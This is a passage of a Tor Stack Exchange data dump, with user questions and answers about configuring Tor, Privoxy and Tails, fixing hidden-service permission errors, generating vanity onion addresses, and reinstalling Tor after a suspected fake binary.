PM.000 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18447" LastEditorUserId="17825" LastEditDate="2017-07-26T23:03:58.950" LastActivityDate="2017-07-26T23:03:58.950" Title="hi, my tor browser can't establish a connection" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ClosedDate="2017-07-27T12:42:45.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="15347" PostTypeId="1" CreationDate="2017-07-26T19:38:40.220" Score="4" ViewCount="1660" Body="&lt;p&gt;I am currently trying to use privoxy with tor. I have done the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed Tor Browser. From command line run: tor -f .\torrc-defaults&#xA;Netstat -a: shows 127.0.0.1 port 9150 and 9151. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installed privoxy &#xA;forward-socks5t   /               127.0.0.1:9150 . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows 10 allowed incoming and outgoing connections to 8118, 9150 and 9151. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set proxy on my browser to 127.0.0.1 port 8118&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all of this I receive http 503 error forwarding failure&lt;/p&gt;&#xA;" OwnerUserId="18481" LastActivityDate="2022-06-23T10:00:55.127" Title="privoxy and tor in windows 503 forwarding failure" Tags="|tor-browser-bundle|privoxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15348" PostTypeId="2" ParentId="15336" CreationDate="2017-07-26T21:42:35.320" Score="2" Body="&lt;p&gt;There is no direct problem in connecting to Tor from the connection that you also use to perform other activities, &lt;em&gt;assuming&lt;/em&gt; that it is safe for you to use Tor in the first place (I.E. that it's not illegal for you to use Tor in the first place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Infact the more people who can openly use Tor, the safer that it will be to use Tor since it's use will lose ground as some part of probable cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are arguments to be made for using a distinct connection for some activities or providing some kind of cover for your traffic to make it less obviously Tor but for most peoples use cases that's really not required.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-26T21:42:35.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15351" PostTypeId="2" ParentId="15338" CreationDate="2017-07-27T13:17:37.717" Score="1" Body="&lt;p&gt;The host machine has a mac and the virtual machine also has a mac (not related to host machine's mac), tails spoofs the mac on the virtual machine - not the host machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means :&#xA;Host machine's mac is never modified by tails when you run it in virtualbox.&#xA;But the virtual machine's mac is modified by tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the virtual machine's mac in the settings panel, you will then see it differently in tails, but the host machine's mac will not be spoofed unless you run tails directly on your hardware through USB stick \ DVD.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-07-27T13:17:37.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15352" PostTypeId="2" ParentId="15264" CreationDate="2017-07-27T13:53:37.823" Score="1" Body="&lt;p&gt;Windows cannot be safe regardless of what safeguards you try to set up.&#xA;The reason is simply because windows is closed software, and Microsoft is in control of it - not the end-user, you cannot verify what is happening on the OS, even if you try the options you mention, there is simply no guarantee on such a OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to all 3rd party software you run on top of it, antivirus, firewalls and so on, it just cannot be determined to be safe if it is closed source software.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-07-27T13:53:37.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15353" PostTypeId="1" CreationDate="2017-07-27T15:31:45.337" Score="3" ViewCount="538" Body="&lt;p&gt;Yandex.ru correctly shows the location of my provider ukrtelecom's pool - Kiev. I use Tor in high security mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing helps - I tried Tor and VPNs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only yandex does this. There are no cookies inside Tor and Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix it? &lt;/p&gt;&#xA;" OwnerUserId="18488" LastActivityDate="2017-07-27T19:20:36.990" Title="Why is yandex.ru able to determine my location?" Tags="|anonymity|" AnswerCount="0" CommentCount="7" ClosedDate="2017-08-09T12:25:13.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="15359" PostTypeId="1" AcceptedAnswerId="15360" CreationDate="2017-07-28T19:36:20.667" Score="0" ViewCount="181" Body="&lt;p&gt;What identification information does Tor strip besides IP addresses? I realize that, by filtering through ORs, my IP address is no longer identifiable. But what other ID information, besides the data itself (eg an email in which I write my address), can be found if not for Tor?&lt;/p&gt;&#xA;" OwnerUserId="18324" LastActivityDate="2017-07-28T21:00:30.080" Title="IP address and staying anonymous?" Tags="|anonymity|security|onion-routing|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15360" PostTypeId="2" ParentId="15359" CreationDate="2017-07-28T21:00:30.080" Score="0" Body="&lt;p&gt;Tor strips (or really just discards) all network level information up to (and excluding) the application &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_layer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Application Layer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything sent on the application layer is transmitted as-is and Tor takes no steps to modify or alter the Application Layer data in any way, including any identifying information.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-28T21:00:30.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15361" PostTypeId="1" CreationDate="2017-07-29T01:24:33.860" Score="6" ViewCount="6760" Body="&lt;p&gt;Where can I find a place to register my own onion domain and is there any hosting sites that I could use for hosting for my &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden service&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="17825" LastEditDate="2017-08-08T10:44:57.127" LastActivityDate="2017-08-08T10:44:57.127" Title="Looking to create a onion domain; need some help" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2017-07-31T21:56:52.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="15363" PostTypeId="1" AcceptedAnswerId="15368" CreationDate="2017-07-29T07:30:56.057" Score="2" ViewCount="272" Body="&lt;p&gt;I'm not talking about the Tor Browser, which still works. I'm talking about the &lt;code&gt;tor&lt;/code&gt; package which no longer works as intended after the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I say it does nothing, I mean it literally doesn't do anything. It doesn't even write to the log file. The service starts, its status is &lt;code&gt;active&lt;/code&gt; when I check it, and I can stop it via &lt;code&gt;service tor stop&lt;/code&gt; as usual. Except it doesn't work at all. When I try &lt;code&gt;torify links http://google.com&lt;/code&gt;, I get this in return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error loading http://google.com/:&#xA;Host not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My hidden service doesn't work either, and I find working over a naked IP SSH connection really insecure and inconvenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, like I said, it doesn't write to the log file. At all. It's completely empty, and the last entry was made before the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it might be due to the permissions. Which implies something changed after the upgrade. Anyway, when I simply run &lt;code&gt;tor&lt;/code&gt; rather than &lt;code&gt;sudo service tor start&lt;/code&gt;, this is what I get in response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 29 10:15:04.081 [warn] Directory /var/lib/tor/hidden_service cannot be read: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt; folder belongs to user &lt;code&gt;debian-tor:debian-tor&lt;/code&gt; with permissions &lt;code&gt;drwx--S---&lt;/code&gt;. When I ran &lt;code&gt;sudo -u debian-tor tor&lt;/code&gt;, I got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 29 10:15:32.607 [warn] Directory /home/user/.tor cannot be read: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I got the same warning after I recursively chowned the directory to &lt;code&gt;debian-tor:debian-tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log file is still empty regardless of what I do. It belongs to &lt;code&gt;debian-tor:adm&lt;/code&gt; and has these permissions: &lt;code&gt;drwxr-s---&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPD&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo -H tor&lt;/code&gt; produced this result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 29 12:16:55.871 [notice] Tor 0.3.0.9 (git-100816d92ab5664d) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g and Zlib 1.2.8.&#xA;Jul 29 12:16:55.871 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jul 29 12:16:55.871 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Jul 29 12:16:55.874 [warn] /var/lib/tor/hidden_service is not owned by this user (root, 0) but by &amp;lt;unknown&amp;gt; (122). Perhaps you are running Tor as the wrong user?&#xA;Jul 29 12:16:55.874 [warn] Checking service directory /var/lib/tor/hidden_service failed.&#xA;Jul 29 12:16:55.874 [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;Jul 29 12:16:55.874 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this, I checked &lt;code&gt;/etc/passwd&lt;/code&gt;. The entry for &lt;code&gt;debian-tor&lt;/code&gt; is &lt;code&gt;debian-tor:x:122:131::/var/lib/tor:/bin/false&lt;/code&gt;. I'm not sure if that's where the problem is.&lt;/p&gt;&#xA;" OwnerUserId="17530" LastEditorUserId="17530" LastEditDate="2017-07-29T09:18:38.580" LastActivityDate="2017-07-29T16:08:51.590" Title="System tor does nothing after a system wide upgrade" Tags="|help|error|log|packages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15364" PostTypeId="2" ParentId="15361" CreationDate="2017-07-29T08:33:31.300" Score="7" Body="&lt;h1&gt;How-to:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Quoting hiddenwiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Getting a .onion domain is not only free (they are automatically generated by Tor), but it is simple once you have completed the basic server installation procedure. If you are not familiar with servers find a friend or a tech whiz who can walk you through it. As with everything computer related, it is fairly difficult if you have never done it, but after you do it once, it is basically a breeze. The next time you generate a new address for yourself will take you only seconds. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Please visit these important sites. They will explain howto get your own hidden service running and how does it works: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work&quot;&gt;How do onion addresses exactly work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/hidden-services.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-hidden-service.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hiddenwiki.org/how-to-register-onion-domain.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hiddenwiki.org/how-to-register-onion-domain.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those may be difficult for a newcomer to understand, but those are the basics of hosting an hidden service.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Vanity domain&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have ever seen some fancy .onion domain, you probably wanted to have your own cool and beautiful domain too.&lt;br&gt;&#xA;Those are called &lt;em&gt;vanity domain&lt;/em&gt;.&lt;br&gt;&#xA;Dark web vanity domains are different from surface web domains. Dark web domains are intended to be hard to generate, because if you had ever been in hidden wiki, you could &lt;em&gt;theoretically&lt;/em&gt; replace vanity domain with your own same looking domain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its really hard to notice a difference between say:&lt;br&gt;&#xA;&lt;code&gt;http://torbrokerge7zxgq.onion/&lt;/code&gt; and &lt;code&gt;http://torbrokerfna3yxf.onion/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Generating vanity .onion address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/10/how-do-hidden-services-get-onion-domains-that-arent-random&quot;&gt;How do Hidden Services get .onion domains that aren&amp;#39;t random?&lt;/a&gt; have a great explanation:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;They use a tool like &lt;a href=&quot;https://github.com/katmagic/Shallot&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shallot&lt;/a&gt; to brute-force the onion address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What Shallot does is to generate a private key in the same way that the Tor software does when generating a new hidden service address. It then manipulates the public key portion of the key to create new versions of the .onion address and checks through those to see if they match the desired address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It generates a new private key periodically. The keys generated by Shallot and other methods of brute forcing an onion address have a larger than average public key component but are syntactically fine and pass all tests ensuring that they are good keys.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Shallot is run like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./shallot ^test&#xA;    ----------------------------------------------------------------&#xA;    Found matching pattern after 99133 tries: testvztz3tfoiofv.onion&#xA;    ----------------------------------------------------------------&#xA;    -----BEGIN RSA PRIVATE KEY-----&#xA;    MIICXgIBAAKBgQC3R85m6NQaA1ZjaYqvz1hvFIjbL4RtKdJbG8hlC9xEBkvfr/BG&#xA;    8Z5vDiUzdbDt8mEBuZUDanx80uGJvbXTgmczX0UlkEOgGiZ8RKpnsbKaf/EJNrIw&#xA;    T7MSXQmWNcm22nDeViV7fwy+Usyal2RE5cdVCFsPtEbVZqCumlKkEgCyFwIDBAZ7&#xA;    AoGBAJSa2cGuru/XhzJAEAIwHZbgPDnum9T/srOYxUKW6afHZeOu5S4Cclwb+xb/&#xA;    pGOtzn71XZfCKMfiVdxB/f3XTcRrYB2VnBoNToTD7WfH6DksdDf4zunqiEjvxi9K&#xA;    R+tKhxmF7OedrRt8wIhUmFd1E2Q9nbTHI6icdB4kR4QkYKZzAkEA5M6samK7+495&#xA;    6SWpRXiePIs7sHKWuxdCrG7kW5RNJrv2CcGYwK46TPcaXBcRfM4eq9+9PGoKi0IO&#xA;    gSpOZ5vRYQJBAM0QAZYTZ6ApD014x372MX1ZNofuYL/+XF8ZPZV6Sh4+9MUBuNPb&#xA;    yL7BENDr6pX4Zm6OepvAphhCa4vGno2pHncCQQCQnfhUCHANU4bjtX4EOoI63WDq&#xA;    UwBOeIWxu0YvGt7Z25Dg9CNz/aX8UZIoj6VyKxLRbR9+K3mNrNgaopW+ZDKzAkEA&#xA;    ttgTK1ALe+3v+5H+Ez1SvFPREDFcHihrfD1Ipc5zicY9ixTArgdyZvk+Pi+AMBVV&#xA;    sL2HWvjRLEAgRclvKfkwWwJAFtM+BIGRM5me+fMALuBBEtKnbJ6maflsyucErEb0&#xA;    pIIBkovF5oyWO3lSBmtStJIANNkHOg8aXqjcgPKusDN7CQ==&#xA;    -----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;By passing it a regular expression, you can describe what you want your .onion address to look like. Using this hostname and private key you can create the hostname and private_key files that tor expects to find in the hidden service directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2017-08-07T13:56:49.800" LastActivityDate="2017-08-07T13:56:49.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15368" PostTypeId="2" ParentId="15363" CreationDate="2017-07-29T16:08:51.590" Score="1" Body="&lt;p&gt;This is a known issue on Ubuntu/Debian, there's a conflict with apparmor because Tor is still running as root when it tries to scan the hidden service directories. They're looking into making the appropriate changes so that it has changed user when it tries this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is documented under &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/22331&quot; rel=&quot;nofollow noreferrer&quot;&gt;#22331&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, a workaround from &lt;a href=&quot;https://yawnbox.com/2017/07/20/tor-onion-service-fail-due-to-apparmor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yawnbox&lt;/a&gt; is to edit the &lt;code&gt;/etc/apparmor.d/abstractions/tor&lt;/code&gt; file and append onto the list of capabilities: &lt;code&gt;capability dac_read_search,&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it's edited, issue &lt;code&gt;sudo service apparmor reload&lt;/code&gt; to make the newly edited apparmor effective, then &lt;code&gt;sudo service tor restart&lt;/code&gt; to make the changes take effect.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-29T16:08:51.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15369" PostTypeId="1" CreationDate="2017-07-29T17:25:28.160" Score="2" ViewCount="539" Body="&lt;p&gt;Does it matter when you connect to TOR Network ?  2 cases:&#xA;1. You connect to TOR after 10 minutes after you connect to your real facebook/bank/email account. Is it harmfull to connect to TOR as like that ?&#xA;2. Second case is it dangerous to connect to TOR at 2:00AM-5:00AM when most of people in your state does still sleep and are not online ?&lt;/p&gt;&#xA;" OwnerUserId="18518" LastActivityDate="2018-07-31T09:00:45.773" Title="Does it matter when you connect to TOR?" Tags="|tor-browser-bundle|anonymity|deanonymization|private|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15371" PostTypeId="2" ParentId="15345" CreationDate="2017-07-29T20:53:13.203" Score="0" Body="&lt;p&gt;So - thanks to moderator - the question is reopen. What's your situation looks like is a fake distribution of Tor or TorBrowser. It sounds weird, but I've helped a person about a year ago with the exactly the same problem: &lt;em&gt;tor.exe&lt;/em&gt; binary was replaced and did not worked as supposed to, but it have tried to imitate the Tor's real console output and even passed something through! I suspect it was even trying to wiretap the data, so I hope you haven't tried anything privacy-sensitive so far. Here is what you need to do - please follow it step by step and I think your problem will be fixed as well. If some part of the problem will remain - feel free to drop a line and we'll fix it all! So - shall we begin?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First of all - pack your &quot;fake tor distribution&quot; in an archive for further investigation and delete the folder after the archive was made. Tor distributions are not requiring any registry or service tasks, so just removing the folder will be fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This step is kind of optional, but - as a precaution - run a full antivirus check with a &lt;em&gt;proper&lt;/em&gt; antivirus. Who knows what exactly was in that fake distro. If you're using a crap Like Esen NOD32 or any of Kasperskiy's products - REMOVE IT, it's a crapware, spying for you. Under the windows I do recommend BitDefender or Sophos - in both the SSL traffic inspection is turned on by default, but you can turn it off and it actually turns off. Sophos is more like a PRO-tool, so if you're not so experienced in a system administration area - no problem, just use BitDefender. SSL inspection there is turned off in Web protection gear sign.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you go to TorProject full downloads page &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download.html.en&lt;/a&gt; and downloading the Expert Bundle, &lt;strong&gt;not&lt;/strong&gt; the browser one. You get the exe &lt;strong&gt;and&lt;/strong&gt; the dot-sig file. It's a digital signature that is elaborated not just for authenticity ferification, but also for intergrity purposes, i.e. the distro you'll about to download was not modified on-flight. After that use &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial from TorProject&lt;/a&gt; to verify the signatures. As you'll verify it all - you'll extract the zip into &lt;em&gt;c:\tor&lt;/em&gt; folder. You can change the drive letter, but change the following lines as well then. Do &lt;strong&gt;not&lt;/strong&gt; use any space-containing, non-english or long names for a directory - it will save you tons of time! After doing this you'll have 2 folders from zip - &lt;em&gt;Tor&lt;/em&gt; and &lt;em&gt;Data&lt;/em&gt; as &lt;em&gt;c:\tor\Tor&lt;/em&gt; and &lt;em&gt;c:\tor\Data&lt;/em&gt;. Create a folder &lt;em&gt;c:\tor\local&lt;/em&gt; and leave it empty.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next step is to create a very basic config file for Tor. It does have a very reasonable defaults, but let us just be specific. Create file &lt;em&gt;c:\tor\Tor\torrc&lt;/em&gt; - &lt;em&gt;without any extension&lt;/em&gt;, just name it &lt;code&gt;torrc&lt;/code&gt;. If you have any difficulties with that - create it as &lt;code&gt;torrc.txt&lt;/code&gt; and replace it in lines below. The contents of this file will be simple and straightforward as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RunAsDaemon 0&#xA;FastFirstHopPK 0&#xA;AllowSingleHopCircuits 0&#xA;EnforceDistinctSubnets 1&#xA;UseEntryGuards 1&#xA;DisableAllSwap 1&#xA;DataDirectory c:\tor\local&#xA;GeoIPFile c:\tor\Data\Tor\geoip&#xA;GeoIPv6File c:\tor\Data\Tor\geoip6&#xA;Log notice stdout&#xA;SocksPort 127.0.0.1:9050&#xA;ExitPolicy reject *:*&#xA;ExitPolicy reject6 *:*&#xA;DNSPort 127.0.0.1:53&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cool, but what does it means? Basically, we're about to store the local instance data in &lt;em&gt;c:\tor\local&lt;/em&gt; subfolder, i.e. in case of future updates you just &lt;em&gt;safely&lt;/em&gt; overwrite the Data and Tor folders as you need and leaving the instance data intact. We instruct Tor to avoid disr swap and usage as good as possible - nowdays we have enourg RAM on computers to run Tor: Raspberry Pi B+ with 512Mb and one core runs Tor just perfect without any need in swap, so your PC will do as well. We're instructing Tor to run in foreground, not as a service and log everything to the console - so if something is wrong, we will see it. We prohibit any traffic exiting from the node and telling where to get a copy of MaxMind GeoIP base - it's free edition is distributed with Tor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Next we need to run our Tor :) Create a batch file - like &lt;code&gt;torrun.bat&lt;/code&gt; with the next lines in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo on&#xA;cd c:\tor\Tor&#xA;C:\tor\Tor\tor.exe -f C:\tor\Tor\torrc&#xA;pause&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember I was talking about torrc.&lt;strong&gt;.txt&lt;/strong&gt; instead of just torrc ? If you did txt file - a line &lt;code&gt;C:\tor\Tor\tor.exe -f C:\tor\Tor\torrc&lt;/code&gt; goes to be &lt;code&gt;C:\tor\Tor\tor.exe -f C:\tor\Tor\torrc.txt&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Run this - and if you'll see &lt;code&gt;Bootstrapped 100%&lt;/code&gt; line - you're in! Use Firefox and &lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/foxyproxy-standard/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FoxyProxy&lt;/a&gt; add-on to divert all the traffic through SOCKS at 127.0.0.1 port 9050 and &lt;em&gt;don't forget to click checkbox to resolve DNS via proxy&lt;/em&gt;. Feel free to ask any further questions! If your Tor will not bootstrap to 100% - send the console log via pastebin.com&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-08-11T23:22:54.913" LastActivityDate="2017-08-11T23:22:54.913" CommentCount="47" ContentLicense="CC BY-SA 3.0" />
  <row Id="15375" PostTypeId="1" CreationDate="2017-07-30T10:40:37.860" Score="2" ViewCount="318" Body="&lt;p&gt;I have downloaded TOR Expert Bundle standalone application. Does it work as an exit node by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE.&lt;/strong&gt; Related: &lt;a href=&quot;https://tor.stackexchange.com/questions/10032/does-running-the-tor-browser-turn-me-into-a-exit-relay&quot;&gt;Does running the Tor browser turn me into a (exit) relay?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important.&lt;/strong&gt; My question is solely for TOR Expert Bundle, not for the TOR  Browser. It's crucial to have a separate question as official FAQ don't transparently state this.&lt;/p&gt;&#xA;" OwnerUserId="18523" LastEditorUserId="18523" LastEditDate="2017-07-31T08:37:15.990" LastActivityDate="2017-07-31T16:14:47.913" Title="Does TOR client (Expert Bundle) work as an exit node by default?" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15376" PostTypeId="1" CreationDate="2017-07-30T18:32:44.240" Score="1" ViewCount="562" Body="&lt;p&gt;Using Android, I have noticed that when my Wi-Fi is dropped for a few moments then reconnects Orbot still works but apps VPN mode does not. Is there a fix for this issue? To be clear, I am still connected to Tor but not able to use apps connected through VPN mode.  &lt;/p&gt;&#xA;" OwnerUserId="17747" LastActivityDate="2017-07-30T18:32:44.240" Title="Orbot Stops Forwarding in VPN Mode" Tags="|orbot|vpn|android|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15378" PostTypeId="1" CreationDate="2017-07-30T23:54:00.140" Score="1" ViewCount="60" Body="&lt;p&gt;It is often said that each node 'knows' the preceding and proceding nodes. But what identification information does the node have exactly? Just the IP address? Also, as a result of what protocol does it get that information. &#xA;Thank you!! :) :)&lt;/p&gt;&#xA;" OwnerUserId="18324" LastActivityDate="2017-09-16T08:53:16.333" Title="What do ORs 'know'?" Tags="|security|onion-routing|routers|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15379" PostTypeId="2" ParentId="15168" CreationDate="2017-07-31T00:27:13.760" Score="0" Body="&lt;p&gt;Try restarting with the intermediary but this time, set an Administrator password. Now when booted fully into tails, launch the Terminal and type 'sudo tails-installer-launcher'. It will ask for your Administrator password that you set on start-up. This will provide the Tails installer the proper elevated privileges to install by cloning.&lt;/p&gt;&#xA;" OwnerUserId="18531" LastActivityDate="2017-07-31T00:27:13.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15380" PostTypeId="1" CreationDate="2017-07-31T00:49:16.747" Score="1" ViewCount="588" Body="&lt;p&gt;I have MacBook Pro mid 2014 with macOS Sierra v.10.12.4 (16E195). After launching tor (v.7.0.2) produces a message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H8tZJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H8tZJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After restarting nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gnrkG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnrkG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Continue&lt;/em&gt; button does nothing. &lt;em&gt;Copy Tor Log To Clipboard&lt;/em&gt; button doesn't copy at all. Reinstalling doesn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I improve that?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="17598" LastActivityDate="2018-09-14T20:05:20.757" Title="Tor unexpectedly exited macOS" Tags="|help|mac|support|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15381" PostTypeId="1" CreationDate="2017-07-31T11:28:20.913" Score="1" ViewCount="386" Body="&lt;p&gt;Aplologies for amateurish question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Windows laptop with no O/S installed on hard drive.&#xA;I have a MacBook, can I download a Windows version of TAILS on MacBook to boot up my Windows laptop?&lt;/p&gt;&#xA;" OwnerUserId="18532" LastActivityDate="2017-07-31T11:28:20.913" Title="TAILS OS on New Hard drive" Tags="|tails|" AnswerCount="0" CommentCount="1" ClosedDate="2017-07-31T21:57:05.117" ContentLicense="CC BY-SA 3.0" />
